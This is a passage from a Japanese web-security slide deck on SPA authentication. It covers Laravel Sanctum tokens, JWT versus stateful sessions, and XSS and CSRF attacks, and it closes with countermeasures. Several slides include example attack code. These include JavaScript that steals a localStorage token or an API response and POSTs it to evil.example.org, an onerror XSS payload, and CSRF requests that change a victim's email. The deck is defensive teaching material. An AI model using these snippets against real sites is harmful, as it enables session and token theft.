                                                                                      Sanctumとは?SPA認証2つ目にSanctumは、Laravelを利用したAPIと通信する必要があるシングルページアプリケーション(SPA)を認証する簡単な方法を提供するために存在します。これらのSPAは、Laravelアプリケーションと同じリポジトリに存在する場合もあれば、Vue CLIまたはNext.jsアプリケーションを使用して作成されたSPAなど、完全に別個のリポジトリである場合もあります。この機能のために、Sanctumはいかなる種類のトークンも使用しません。代わりに、SanctumはLaravelの組み込みのクッキーベースのセッション認証サービスを使用します。通常、SanctumはLaravelの「web」認証ガードを利用してこれを実現します。これにより、CSRF保護、セッション認証の利点が提供できるだけでなく、XSSを介した認証資格情報の漏洩を保護します。https://readouble.com/laravel/8.x/ja/sanctum.html より引用67

                                                                                        68.

                                                                                        今日は APIトークンについて見ていきます© 2021 Hiroshi Tokumaru68

                                                                                          69.

                                                                                          Sanctumのトークン(personal_access_tokensテーブル)トークンのID(一連番号)トークンランダム文字列トークンが示すユーザID等© 2021 Hiroshi Tokumaruトークン生成日時権限情報トークン更新日時69

                                                                                            70.
                                                                                            [beta]
                                                                                            ログイン処理の例public function login(Request $request){$credentials = $request->validate([ // クレデンシャルの取得とバリデーション'email' => 'required|email','password' => 'required']);if (Auth::attempt($credentials)) {トークン生成$user = $request->user();// $user->tokens()->delete(); // これを有効にすると既存のセッションがログアウトする$token = $user->createToken("login:user{$user->id}")->plainTextToken;return response()->json(['token' => $token], Response::HTTP_OK);} else {return response()->json(['status' => 'Error'], Response::HTTP_UNAUTHORIZED);トークンをJSONとして返す}}© 2021 Hiroshi Tokumaru70
                                                                                              71.
                                                                                              [beta]
                                                                                              ログアウト処理の例public function logout(Request $request){$user = $request->user();// $user->tokens()->delete();// こちらだと一括ログアウトになる$request->user()->currentAccessToken()->delete(); // 現在のトークンのみ削除return response()->json(['status' => 'Logged out'], 200);}© 2021 Hiroshi Tokumaru71
                                                                                                72.

                                                                                                ステートフルなトークンはセキュリティ要件を実現しやすい• 完全なログアウト → トークンを削除するだけ• パスワード変更時に既存セッションをすべてログアウト© 2021 Hiroshi Tokumaru72

                                                                                                  73.

                                                                                                  IDやパスワードをだまし取ろうとするページについて(Yahoo!)https://support.yahoo-net.jp/PccYjcommon/s/article/H00001131473

                                                                                                  74.

                                                                                                  ケーススタディ:ChatWork© 2021 Hiroshi Tokumaru74

                                                                                                    75.

                                                                                                    JWT形式を採用したChatWorkのアクセストークンについて実は、ChatWorkのOAuth2で払い出されるアクセストークンはJWT形式を採用しています。話題になっている懸念点を考慮した上で、どのような仕様になっているか簡単に解説したいと思います。まず、チャットワークAPIドキュメントの「3.アクセストークンの発行/再発行」のセクションにある、tokenエンドポイントのレスポンス形式をみてください。アクセストークン(有効期限は30分間)は、ピリオドでつながるBASE64形式(url-safe)になっています。リフレッシュトークン(有効期間はデフォルト時は14日間。offline_access時は認可が失効されるまで)はセキュアランダムで生成した文字列になっています。アクセストークンのメタデータはJWT内部に含まれています。また、リフレッシュトークンはトークンIDのみで、トークンIDに紐付く認可状態はサーバ側で管理されています。https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用75

                                                                                                    76.

                                                                                                    JWT形式を採用したChatWorkのアクセストークンについてChatWorkでは、なぜJWT形式を選んだか?その理由は以下です1. サーバ側でメタデータを管理するストレージの運用コスト削減のため2. マイクロサービスが増えた場合に、リソースサーバ単体での認可を実装しやすい今のところ、大きな理由は1番ですね。 とはいえ、サーバ側で状態管理しないことによるデメリットもあります。それをどうカバーしたか、もしくは仕様として対象外としたかを説明します。https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用76

                                                                                                    77.

                                                                                                    JWT形式を採用したChatWorkのアクセストークンについてAssertion形式のJWTの場合はサーバに状態がないので、トークンの失効が即時にできません。なので、できるだけ有効期間を短くした方がよいです。また、漏れたアクセストークンは有効期間の間は失効できません。そのアクセストークンの生存期間中の二次被害を防止するには、認可サーバでの当該認可の破棄、リソースサーバでの利用権限の一次停止などの別の仕組みを検討する必要があるでしょう。しかし、サーバに状態があるArtifact形式だからといって、即座に失効できるとは限らないと考えます。当該認可の破棄、漏洩したトークンの確認、API権限の一時停止、分散キャッシュ上からトークンIDを特定・削除の実行などのワークフローを社内で実行するには30分ぐらいは掛かると考えました。https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用77

                                                                                                    78.

                                                                                                    JWT形式を採用したChatWorkのアクセストークンについてChatWorkのアクセストークンも期限が30分と比較的短い時間に設定しています。仮に、アクセストークンが漏洩した場合は、当該認可の破棄、対象のユーザのAPI機能を一次停止するなどの対応を取るものの、漏洩したトークンが利用できなくなるまで(30分間)待つことになります。もちろん、漏洩した根本原因に対しては恒久対策すべきですが、応急対策としてはこのようになると想定しています。というわけで、我々は、Assertionでも実運用に耐えられると判断し、JWT形式のアクセストークンを選択しました。Assertion形式を採用する場合は、この運用ポリシーを許容できなければなりません。まず設計の最初でこれを確認しておきましょう*4。セッション管理の仕組みを検討する際は、こ*4: どうしても有効期限内に失効したい場合は、ブラックリストを返すAPIを提供しのような脅威分析を行てリソースサーバから利用することになりますが、結局サーバ側に状態を持つこといましょうになるため、Assertion形式する良さはあまり感じられなくなりますねhttps://creators-note.chatwork.com/entry/2018/09/25/132218 より引用78

                                                                                                    79.

                                                                                                    ステートレス vs ステートフル• ステートレスなトークン––––JWT等認証サーバー等に問い合わせることなく認証の確認ができるスケールアウトが極めて容易即時ログアウトはできない• ステートフルなトークンやセッションID––––PHPのデフォルトセッション(PHPSESSID)やSanctumのトークンセッションの中身はファイル(PHP)やデータベース、REDIS等にあるスケールアウト時にはデータベース等を共有する必要があるセッションDBがスケールのボトルネックになりやすい• どちらを選ぶかは、セキュリティ要件しだい– パスワード変更後の即時ログアウトが必須要件かがよい判断材料となる© 2021 Hiroshi Tokumaru79

                                                                                                      80.

                                                                                                      SPAにまつわる脆弱性© 2021 Hiroshi Tokumaru80

                                                                                                        81.

                                                                                                        SPAのXSS© 2021 Hiroshi Tokumaru81

                                                                                                          82.

                                                                                                          SPAとXSS• SPAのクロスサイトスクリプティング(XSS)は、ウェブコンテンツ側のXSSと、API側XSSがある• ウェブコンテンツ側のXSSは主にJavaScriptのXSS(DOM Based XSS)• API側のXSSはサーバー側のJSON生成時の問題が主• どちらも徳丸本2版にて説明しています– 4.16 APIのセキュリティ– 4.17 JavaScriptのセキュリティ© 2021 Hiroshi Tokumaru82

                                                                                                            83.
                                                                                                            [beta]
                                                                                                            DOM Based XSSの例: AJAXのURL未検証によるXSS<template><section><nuxt-link to="/menu/menu_a.html">A</nuxt-link><nuxt-link to="/menu/menu_b.html">B</nuxt-link><nuxt-link to="/menu/menu_c.html">C</nuxt-link><nuxt-link to="/menu/menu_d.html">D</nuxt-link><p v-html="post"></p></section>v-htmlはHTMLエスケー</template>プなしで表示する機能menu_a.html<script>export default {data() {return {post: ''}},async mounted() {let url = this.$route.params.urlif (! url) url = 'menu_a.html'const response = await this.$axios.get(url)this.post = response.data}}</script>メニューA<br><img src="/img_a.png">© 2021 Hiroshi Tokumaru83
                                                                                                              84.

                                                                                                              AJAXのURL未検証によるXSS(正常系)Webサーバーhttps://www.example.com/menu/menu_a.htmlContent-Type: text/htmlGET /menu_a.htmlメニューA<br><img src="/img_a.png"><p v-html="post"></p>コンテンツをAJAXで要求して、返ったHTMLを v-html でそのまま(エスケープ無しで)表示するlet url = this.$route.params.urlconst response = await this.$axios.get(url)© 2021 Hiroshi Tokumaru84

                                                                                                              85.
                                                                                                              [beta]
                                                                                                              AJAXのURL未検証によるXSS(攻撃)Webサーバーhttps://www.example.com/menu/%2F%2Fevil.example.org攻撃用サイトhttps://evil.example.org/GET /Access-Control-Allow-Origin: *<img src=0 onerror=alert('XSS')<p v-html="post"></p>//evil.example.comlet url = this.$route.params.urlconst response = await this.$axios.get(url)© 2021 Hiroshi Tokumaru85
                                                                                                              86.
                                                                                                              [beta]
                                                                                                              AJAXのURL未検証によるXSS(攻撃)Webサーバーhttps://www.example.com/menu/%2F%2Fevil.example.org攻撃用サイトhttps://evil.example.org/GET /Access-Control-Allow-Origin: *<img src=0 onerror=alert('XSS')<p v-html="post"></p>www.example.comの内容攻撃用サイトにてCORS設定できるので、CORS制約をくぐり抜けて攻撃が成立XSSOK//evil.example.comlet url = this.$route.params.urlconst response = await this.$axios.get(url)© 2021 Hiroshi Tokumaru86
                                                                                                              87.

                                                                                                              APIとJavaScriptそれぞれXSSの可能性があるが、発生箇所によって脅威が変わる© 2021 Hiroshi Tokumaru87

                                                                                                                88.

                                                                                                                WebサーバーにXSS脆弱性がある場合(localStorage)Webサーバーhttps://www.example.comHTML情報収集サイトhttps://evil.example.orgPOST / HTTP/1.1eyJXXXXXXXXXXXXXXGoogle Chromeconst token = localStorage.getItem('token')const req = new XMLHttpRequest()req.open("POST", "https://evil.example.org/")req.send(token)https://www.example.comtokeneyJXXXXXXXXX© 2021 Hiroshi TokumarulocalStorageに保存されたトークンを盗み別のサイトに送信する最も簡単なXSS攻撃となる88

                                                                                                                89.
                                                                                                                [beta]
                                                                                                                WebサーバーにXSS脆弱性がある場合(Cookieによるセッション)Webサーバーhttps://www.example.comAPIサーバーhttps://api.example.com{HTML}"email": "[email protected]","tel": "03-1290-5678"Google ChromeAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: http://www.example.orgconst req = new XMLHttpRequest()req.open("GET", "https://api.example.com/api")req.withCredentials = truePHPSESSID=FD8A6FE…; domain=api.example.com© 2021 Hiroshi Tokumaru正規のWebサーバーからのリクエストなのでCORS設定は許可されており、あらゆるAPI呼び出しが可能89
                                                                                                                90.

                                                                                                                APIサーバーにXSS脆弱性がある場合(localStorage使用)APIサーバーhttps://api.example.comCookieよりもlocalStorageの方がXSSに対して危険という記事を多く見ますが、一概には言えません…HTMLGoogle Chromeconst token = localStorage.getItem('token')https://www.example.comtoken別オリジンのlocalStorageにはアクセス不可https://api.example.com オリジンからはIDトークンを格納したlocalStorageにはアクセスできないeyJXXXXXXXXX© 2021 Hiroshi Tokumaru90

                                                                                                                91.
                                                                                                                [beta]
                                                                                                                APIサーバーにXSS脆弱性がある場合(Cookieによるセッション)APIサーバーhttps://api.example.com情報収集サイトhttps://evil.example.org{HTML}"email": "[email protected]","tel": "03-1290-5678"{Google Chromelet = new XMLHttpRequest()req.open("GET", "/api/user")req.open("POST", "https://evil.example.com/")PHPSESSID=FD8A6FE…; domain=api.example.com© 2021 Hiroshi Tokumaru}"email": "[email protected]","tel": "03-1290-5678"APIサーバーのドメインにCookieがセットされていると、認証状態のリクエストが飛び、レスポンスも受け取れる。同一オリジンなのでCORSは関係ない91
                                                                                                                92.

                                                                                                                XSSの影響のまとめXSSの発生箇所WebサーバーAPIサーバーCookieにセッションID・トークン リクエストヘッダにトークン影響あり影響あり(攻撃は容易)影響はない*1影響あり• CookieはHttpOnly属性がある前提• Cookieによるセッション管理の場合XSSの発生箇所によらず影響があるのは、Cookieがブラウザにより自動送信されるため• 脆弱性診断ではHttpOnlyでないCookieの値をリクエストヘッダに入れる実装を見かけるがお勧めしない(LaravelのCSRFトークンが該当するが、許容できる特殊ケース)(*1) ケースによっては影響がある場合があるかも© 2021 Hiroshi Tokumaru92

                                                                                                                  93.

                                                                                                                  SPAのXSS脆弱性の対策• ウェブAPIの脆弱性は、Content-Type: application/json にしておけば基本的に問題ない– だけど、text/htmlなAPIをしばしば見かける• JavaScriptのXSS(DOM Based XSS)は気をつけることが多い– エスケープしない表示に注意• バニラ#"#p94" data-page="94"> 94.

                                                                                                                  SPAのCSRF© 2021 Hiroshi Tokumaru94

                                                                                                                    95.

                                                                                                                    SPAとCSRF• ウェブAPIでもCSRF攻撃は可能なのでSPAでも考慮する必要がある• ヘッダにトークンを入れている場合はCSRF脆弱性は混入しない– Cookieでセッション管理している場合のみ影響がある• フレームワークの機能で対策しておけば問題ない– …が、たまに手抜きをしてCSRF脆弱なサイトを見かける© 2021 Hiroshi Tokumaru95

                                                                                                                      96.
                                                                                                                      [beta]
                                                                                                                      XHRによるCSRF攻撃の様子罠サイトhttps://evil.example.orgAPIサーバーhttps://api.example.comメールアドレスが変更されるHTMLAccess-Control-Allow-Credentials: trueがない{"mail: "[email protected]"}レスポンスは受け取れないconst req = new XMLHttpRequest()req.open("POST", "https://api.example.com/mail")req.withCredentials = truereq.send('{"mail": "[email protected]"}');© 2021 Hiroshi Tokumaruクッキーは飛び任意のリクエストが送れるのでCSRF攻撃が成立する場合があるので、クッキーによるセッション管理はCSRFのリスクがあるレスポンスは受け取れないが、CSRF攻撃には支障がない96
                                                                                                                      97.

                                                                                                                      ヘッダにトークンを付与する場合はCSRF攻撃はできない罠サイトhttps://evil.example.orgAPIサーバーhttps://api.example.comHTMLconst req = new XMLHttpRequest()req.open("POST", "https://api.example.com/api")req.setRequstHeader('Authorization','Bearer ??????????????? ')Authorization ヘッダをつけられないのでCSRF攻撃にならないhttps://www.example.comtokeneyJXXXXXXXXX© 2021 Hiroshi Tokumaru97

                                                                                                                      98.

                                                                                                                      CSRF攻撃成立のハードルは結構ある•••••Cookieでセッション管理していること(必須要件)HTTPメソッドはPOST(あるいはPUT、PATCH等)CookieのSameSite属性がNoneあるいは指定なしリクエストのContent-Type(application/json)をチェックしていないCSRFトークンのチェックがない、不十分• しかし、攻撃には全ての要件が必要なわけではない© 2021 Hiroshi Tokumaru98

                                                                                                                        99.

                                                                                                                        GETリクエストによるCSRF攻撃の様子罠サイトhttps://evil.example.orgAPIサーバーhttps://api.example.comメールアドレスが変更されるHTMLGET /[email protected]<form action="https://api.example.com/mail"METHOD="GET"><input name="mail" value="[email protected]"><input type="submit"></form>© 2021 Hiroshi Tokumaru• samesite=laxでもCookieは飛ぶので、GETメソッドで更新ができれば攻撃は刺さりやすい• routerの設定が変な場合のみ脆弱となるが、脆弱性診断とは年に数回は見つかる99

                                                                                                                        100.

                                                                                                                        HTMLフォーム(POST)によるCSRF攻撃の様子メールアドレスが変更されるAPIサーバーhttps://api.example.com罠サイトhttps://evil.example.orgHTMLPOST /mailContent-Type: application/x-www-form-urlencoded[email protected]<form action="https://api.example.com/mail"METHOD="POST"><input name="mail" value="[email protected]"><input type="submit"></form>© 2021 Hiroshi Tokumaru• HTMLフォームなのでCORSの制約は受けない• Laravelはform-urlencodedでも更新処理を受け付ける• samesite=lax で防御可能100

                                                                                                                        101.
                                                                                                                        [beta]
                                                                                                                        XHRによるCSRF攻撃(Content-Type指定なし)の様子罠サイトhttps://evil.example.orgメールアドレスが変更されるAPIサーバーhttps://api.example.comHTMLContent-Type: text/plain{"mail: "[email protected]"}const req = new XMLHttpRequest()req.open("POST", "https://api.example.com/mail")req.withCredentials = truereq.send('{"mail": "[email protected]"}');© 2021 Hiroshi Tokumaru• Content-Typeを決め打ちにしていると発生するパターン• LaravelはContent-Typeで処理を変えるので、このパターンでは攻撃できない• samesite=lax で防御可能101
                                                                                                                        102.
                                                                                                                        [beta]
                                                                                                                        XHRによるCSRF攻撃(Content-Type指定あり)の様子罠サイトhttps://evil.example.orgHTMLAPIサーバーhttps://api.example.comOPTIONS /api HTTP/1.1HTTP/1.0 204 No ContentOrigin: https://evil.example.orgAccess-Control-Allow-Origin: *Access-Control-Request-Headers: Content-TypeAccess-Control-Allow-Methods: POSTAccess-Control-Request-Method: POSTAccess-Control-Allow-Headers: Content-Typeconst req = new XMLHttpRequest()req.open("POST", "https://api.example.com/mail")req.withCredentials = truereq.setRequestHeader("Content-Type","application/json")req.send('{"mail": "[email protected]"}');© 2021 Hiroshi Tokumaru• 前述のようにLaravelのデフォルト設定だとプリフライトリクエストは通ってしまう• CSRF攻撃はレスポンスを受け取らなくてもよいのでAllow-Credentialsは関係ない• Content-Typeが正しいのでその後の処理も通る• samesite=lax で防御可能102
                                                                                                                        103.

                                                                                                                        CSRF対策は結局どうすればよいか?• CSRF攻撃が刺さる条件は複雑だが、その複雑さを理解できなくても防御は可能• 【重要】フレームワーク標準のCSRF対策機能を素直に使う• CORS設定はできるだけ明示する(とくにOriginは必須)• セッションIDクッキーにはsamesite=laxを設定する(デフォルト)© 2021 Hiroshi Tokumaru103

                                                                                                                          104.

                                                                                                                          結局 Cookie と localStorage のどちらがよいの?• 今まで説明したように、CookieとlocalStorageはどちらが安全とは言えず一長一短• 適材適所で使えば良い• WebサーバーとAPIサーバーが一体の場合は古典的なセッションを使うのが比較的無難– セッション管理に由来する脆弱性は枯れていて十分対策されているため• Sanctumトークンのようなステートフル・トークンが使えれば、セキュリティ要件は満たしやすい• JWTのようなステートレス・トークンを使う場合は、そのリスクを検討した上で、必要に応じてAPIゲートウェイ等を検討する© 2021 Hiroshi Tokumaru104

                                                                                                                            105.

                                                                                                                            クロスドメインでCookieを使うのは非常に難易度が高い• モダンなブラウザでは、samesite=none; secure をつけないとクロスドメインのCookieをPOSTやXHRで使えない• 過去の特定バージョンのSafariは、バグにより samesite=noneをsamesite=strictと見なす(バックポートされていない)– Auth0は同じ値で属性のみ違う2つのCookieをセットすることで対応Set-Cookie: did=s%3Av0%3A0b71f550-略; HttpOnly; Secure; SameSite=NoneSet-Cookie: did_compat=s%3Av0%3A0b71f550-略; HttpOnly; Secure• ブラウザにとってサードパーティCookieとみなされるので、ブラウザの制限が厳しくなる一方• Cookieはクロスドメインで使わない方がよいと思います© 2021 Hiroshi Tokumaru105

                                                                                                                              106.

                                                                                                                              まとめ• SPAと言っても基本はMPAと変わりありません• なので、SPA開発する際にも徳丸本は役に立ちます!– 3.2 同一オリジンポリシー––––3.3 CORS4.16 Web API実装における脆弱性4.17 JavaScriptの問題その他全部• Cookie と localStorage の使い分けについて• ステートレスかステートフルか、それが問題だ• 苦しくてもCORSはちゃんと理解しましょう© 2021 Hiroshi Tokumaru106

                                                                                                                                107.

                                                                                                                                最後までご視聴いただきありがとうございます質問・感想はDiscordにてお願いします© 2021 Hiroshi Tokumaru107


                                                                                                                                  [8]ページ先頭

                                                                                                                                  ©2009-2025 Movatter.jp